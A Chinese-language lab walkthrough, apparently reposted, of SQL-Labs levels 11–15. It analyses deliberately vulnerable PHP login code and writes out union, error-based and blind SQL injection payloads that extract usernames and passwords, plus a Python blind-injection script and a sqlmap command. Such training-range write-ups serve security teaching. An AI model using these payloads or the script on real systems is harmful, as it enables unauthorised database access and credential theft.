SQL-Labs靶场“11-15”关通关教程

君衍.

  • 一、十一关 基于POST单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 二、十二关 基于POST双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 三、十三关 基于POST单引号报错注入变形
    • 1、源码分析
    • 2、报错注入
  • 四、十四关 基于POST双引号报错注入
    • 1、源码分析
    • 2、报错注入
  • 五、十五关 基于POST单引号布尔型时间盲注
    • 1、源码分析
    • 2、布尔盲注(手动)
    • 2、布尔盲注(脚本)
    • 3、时间盲注(sqlmap)

一、十一关 基于POST单引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘x’

在这里插入图片描述
看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点:
在输入框中输入单引号:

在这里插入图片描述
我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。

1、源码分析

# 使用POST方式接受变量
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];···# 使用单引号进行拼接SQL@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){···//echo " You Have successfully logged in\n\n " ;···echo 'Your Login name:'. $row['username'];echo 'Your Password:' .$row['password'];···echo '<img src="../images/flag.jpg"  />';	}else  {···//echo "Try again looser";# 输出报错信息print_r(mysqli_error($con1));···echo '<img src="../images/slap.jpg" />';	···}
}

我们可以看到只是将提交方式变为了POST,实际上和第一关GET提交方式的实质大差不差,所以这里我们可以使用联合查询,报错,布尔(显示的界面不同),延时注入方式。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa' order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述
可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa' order by 2#
aaaa

在这里插入图片描述
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据:

aaaa' union select group_concat(username,password),2 from users#
aaaa

在这里插入图片描述
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa' union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa' and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述
数据库的表名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述
然后看users可疑查users的列名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述
接着看见username以及password继续查数据:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述
我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述
接着我们变值就结束了:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

二、十二关 基于POST双引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=(“x”)

这里注入点判断的方法和第十一关是一样的。

1、源码分析

···# 与第十一关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十一关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十二关采用双引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为双引号加括号就行。
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa") order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述

可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa") order by 2#
aaaa

在这里插入图片描述

可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据(下面只展示username就行,password不填了,懒得填反正都注释掉了):

aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa") and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

三、十三关 基于POST单引号报错注入变形

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=(‘x’)

在这里插入图片描述
首先我们判断是否有报错信息回显,可以看到有报错信息回显,下面我们正常进行闭合登录可以发现并没有输出登录信息:
在这里插入图片描述
所以这里联合查询是无法使用。

1、源码分析

···# 与第十一关相同
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{···//echo " You Have successfully logged in " ;//echo 'Your Login name:'. $row['username'];//echo 'Your Password:' .$row['password'];//echo "<br>";···echo '<img src="../images/flag.jpg"   />';	}
else  
{···//echo "Try again looser";print_r(mysqli_error($con1));···echo '<img src="../images/slap.jpg"   />';	
}

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十三关采用单引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为单引号加括号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

四、十四关 基于POST双引号报错注入

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=“x”

这里注入点判断和第十三关相同,只是在判断是改为aaaa"罢了。

1、源码分析

···# 与第十三关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十三关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十四关采用双引号闭合。所以之后我们进行的注入过程是将第十一关的单引号换为双引号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa" and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

五、十五关 基于POST单引号布尔型时间盲注

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username=‘x’

当然,首先我们查找注入点:
设置username=aaaa’:
在这里插入图片描述
我们发现并没有产生报错,接着我们逃逸让其登录成功:
在这里插入图片描述
我们可以看到界面是不一样的,所以这里指定可以进行布尔盲注以及时间盲注。

1、源码分析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row)
{···//echo " You Have successfully logged in\n\n " ;···//echo 'Your Login name:'. $row['username'];//echo 'Your Password:' .$row['password'];···echo '<img src="../images/flag.jpg"  />';	}
else  
{···//echo "Try again looser";//print_r(mysqli_error($con1));···echo '<img src="../images/slap.jpg"   />';	···
}

这里我们可以看到它是将所有报错信息以及登录成功的信息注释掉了,但是依旧可以看到img标签的图片加载时不同的,如果登录成功,那么图片为flag.jpg如果登录失败那么图片为slap.jpg,所以这个可以作为我们的切入点。
在这里插入图片描述

2、布尔盲注(手动)

下面我们构建payload进行比较数据库名的第一个字符的ascii值:

admin1' and ascii(substr(database(),1,1))>100#

在这里插入图片描述
这里我们可以看到返回的是登录成功,所以说明第一个字符的ascii值是大于100的,接着我们让其大于120:

admin1' and ascii(substr(database(),1,1))>120#

在这里插入图片描述
我们可以看到返回登录失败的图片,所以我们可以以此进行判断数据库名,手动一个一个去尝试。

2、布尔盲注(脚本)

相较于手动,脚本当然是非常有效率,但是对于脚本还得有一定的功底,下面我门来编写Python脚本:

def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:data = {"uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),"passwd" : 'aaaaa'}r = requests.post(url, data=data)if 'flag.jpg' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli7/Less-15/index.php'inject_database(url)

也是我们经常强调的,URL必须填写正确,然后执行:
在这里插入图片描述
便可完成注入,接着注入数据时,更换payload即可。

3、时间盲注(sqlmap)

下面我们依然是直接加上参数进行注入:

sqlmap -u "http://192.168.1.11/sqli7/Less-15/index.php" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

可能会用到以下参数:

  • -r 读取抓包文件
  • -p 需要检测的参数
  • –technique 需要检测的注入方式
  • E 基于报错的注入
  • S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
  • –batch 默认选择
  • –threads 线程数
  • -data 传入post参数(免去抓包)

紧接着我们执行之后:
在这里插入图片描述
在这里插入图片描述

它就可以自行完成时间盲注,同时加载出注入的数据,十五关至此通关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/687341.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

代码随想录day24--回溯的应用3

LeetCode93.修复IP地址 题目描述&#xff1a; 有效 IP 地址 正好由四个整数&#xff08;每个整数位于 0 到 255 之间组成&#xff0c;且不能含有前导 0&#xff09;&#xff0c;整数之间用 . 分隔。 例如&#xff1a;"0.1.2.201" 和 "192.168.1.1" 是…

Chapter 8 - 15. Congestion Management in TCP Storage Networks

User Actions After learning the states of queue utilization, the following are the actions that admins and operators can take while using TCP transport for storage traffic. 了解了队列利用率的状态后,管理员和操作员在使用 TCP 传输存储流量时可以采取以下措施。…

使用八叉树模拟水和烟雾 Simulating Water and Smoke with an Octree Data Structure 论文阅读笔记

原文&#xff1a; Losasso, Frank, Frdric Gibou, and Ron Fedkiw. “Simulating water and smoke with an octree data structure.” Acm siggraph 2004 papers. 2004. 457-462. 引言 这篇文章扩展了 [Popinet 2003] 的工作&#xff0c;拓展到表面自由流&#xff0c;并且使…

Oracle 基础入门指南

一、什么是Oracle&#xff1f; Oracle是一款由美国Oracle公司开发的关系型数据库管理系统。它支持SQL查询语言&#xff0c;并提供了丰富的功能和工具&#xff0c;用于管理大规模数据存储、处理和访问。Oracle被广泛应用于企业级应用中&#xff0c;包括金融、电信、零售等各行各…

第12章 反射

12.1 反射概述 Java的反射&#xff08;reflection&#xff09;机制是指在程序的运行状态中&#xff0c;可以构造任意一个类的对象&#xff0c;可以得到任意一个对象所属的类的信息&#xff0c;可以调用任意一个类的成员变量和方法&#xff0c;可以获取任意一个对象的属性和方法…

突破编程_C++_高级教程(多线程编程实例)

1 生产者-消费者模型 生产者-消费者模型是一种多线程协作的设计模式&#xff0c;它主要用于处理生产数据和消费数据的过程。在这个模型中&#xff0c;存在两类线程&#xff1a;生产者线程和消费者线程。生产者线程负责生产数据&#xff0c;并将其放入一个共享的数据缓冲区&…

Java中 ConcurrentSkipListSet和ConcurrentSkipListMap的区别

ConcurrentSkipListSet和ConcurrentSkipListMap之间有什么区别 ConcurrentSkipListSet和ConcurrentSkipListMap都是Java并发包java.util.concurrent中的类&#xff0c;它们都使用"Skip List"&#xff08;跳表&#xff09;数据结构。跳表是一种随机化数据结构&#x…

【nginx实践连载-1】安装部署配置初始化

要在Ubuntu上安装、部署和配置Nginx&#xff0c;可以按照以下步骤进行操作&#xff1a; 步骤1&#xff1a;安装Nginx 打开终端&#xff08;Terminal&#xff09;。运行以下命令更新软件包索引&#xff1a;sudo apt update安装Nginx&#xff1a;sudo apt install nginx步骤2&a…

Python常见的字符串格式化

Python中字符串格式化有多种方式&#xff0c;以下是其中常用的几种&#xff1a; 使用%进行格式化&#xff1a;类似于C语言中的printf方式。 name "Alice" age 11 message "Hello, %s! You are %d years old." % (name, age) print(message)使用format()…

js---webAPI

01 声明变量 js组成&#xff1a; DOM:操作网页内容的,开发页面内容特效和实现用户交互 BOM: DOM树&#xff1a;将 HTML 文档以树状结构直观的表现出来&#xff0c;我们称之为文档树或 DOM 树 文档树直观的体现了标签与标签之间的关系 CSS获取元素的方法 document.querySele…

态、势、感、知的偏序、全序与无序

在态势感知中&#xff0c;"态"、"势"、"感"和"知"可以被理解为描述不同层次的概念。而在偏序、全序和无序方面&#xff0c;它们可以有不同的关系&#xff0c;简单地说&#xff0c;偏序关系表示部分的可比较性&#xff0c;全序关系表示…

精品springboot基于大数据的电脑主机硬件选购助手-可视化大屏

《[含文档PPT源码等]精品基于springboot基于大数据的电脑主机硬件选购助手[包运行成功]》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; Java——涉及技术&#xff1a; 前端使用技术&a…

Cron表达式选择器

Cron表达式选择器 功能描述 Cron表达式选择器是用于定时任务调度的一种常见工具&#xff0c;通常用于指定任务的执行时间。Cron表达式由一系列时间单位和对应的时间值组成&#xff0c;用于指定任务的执行时间。下面是一个Cron表达式的示例 0 0 12 * * ?这个表达式的含义是每…

有一台阿里云轻量应用服务器可以用来做什么?

阿里云轻量应用服务器可以用来做什么&#xff1f;轻量服务器可用于网站搭建、个人博客、图床、云端学习环境、电商建设、论坛社区、开发环境配置等。可以在阿里云CLUB中心查看 aliyun.club 当前最新的优惠券和活动信息。 轻量是不是性能差&#xff1f;不是&#xff0c;轻量应用…

电阻器的脉冲浪涌能力?

由于现有需求&#xff0c;许多现代电子电路和设备都会经历瞬态脉冲和浪涌。这反过来又导致需要“设计”瞬态浪涌保护&#xff0c;尤其是在电机控制器等电路中。当电机启动时&#xff0c;此时消耗的电流过大&#xff0c;可能导致电阻器故障。同样&#xff0c;如果电容器用于电机…

洛谷: P1480 A/B Problem

题目描述 输入两个整数 a , b a,b a,b&#xff0c;输出它们的商。 输入格式 两行&#xff0c;第一行是被除数&#xff0c;第二行是除数。 输出格式 一行&#xff0c;商的整数部分。 样例 #1 样例输入 #1 10 2样例输出 #1 5提示 0 ≤ a ≤ 1 0 5000 0\le a\le 10^{500…

【制作100个unity游戏之25】3D背包、库存、制作、快捷栏、存储系统、砍伐树木获取资源、随机战利品宝箱13(附带项目源码)

效果演示 文章目录 效果演示前言每次丢弃一个物品源码完结前言 欢迎来到【制作100个Unity游戏】系列!本系列将引导您一步步学习如何使用Unity开发各种类型的游戏。在这第25篇中,我们将探索如何用unity制作一个3D背包、库存、制作、快捷栏、存储系统、砍伐树木获取资源、随机…

MySQL性能分析1

1、查看执行频次 查看当前数据库的INSERT,UPDATE,DELETE,SELECT的访问频次&#xff0c;得到当前数据库是以插入&#xff0c;更新和删除为主还是以查询为主&#xff0c;如果是以插入&#xff0c;更新和删除为主的话&#xff0c;那么优化比重可以轻一点儿。 语法&#xff1a; …

Qt实用技巧:QCustomPlot做北斗GPS显示绝对位置运动轨迹和相对位置运动轨迹图的时,使图按照输入点顺序连曲线

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/136131310 红胖子网络科技博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软硬…

c入门第十九篇: 易错的指针操作(代码的调试)

前面讲述到了链表的操作&#xff0c;链表具有动态伸缩的优点&#xff0c;但是链表是指针操作&#xff0c;必然面临着指针操作的诸多问题&#xff0c;比如典型的空指针操作问题&#xff0c;出现问题之后&#xff0c;除了printf&#xff0c;还有没有其他方法调试呢&#xff1f; …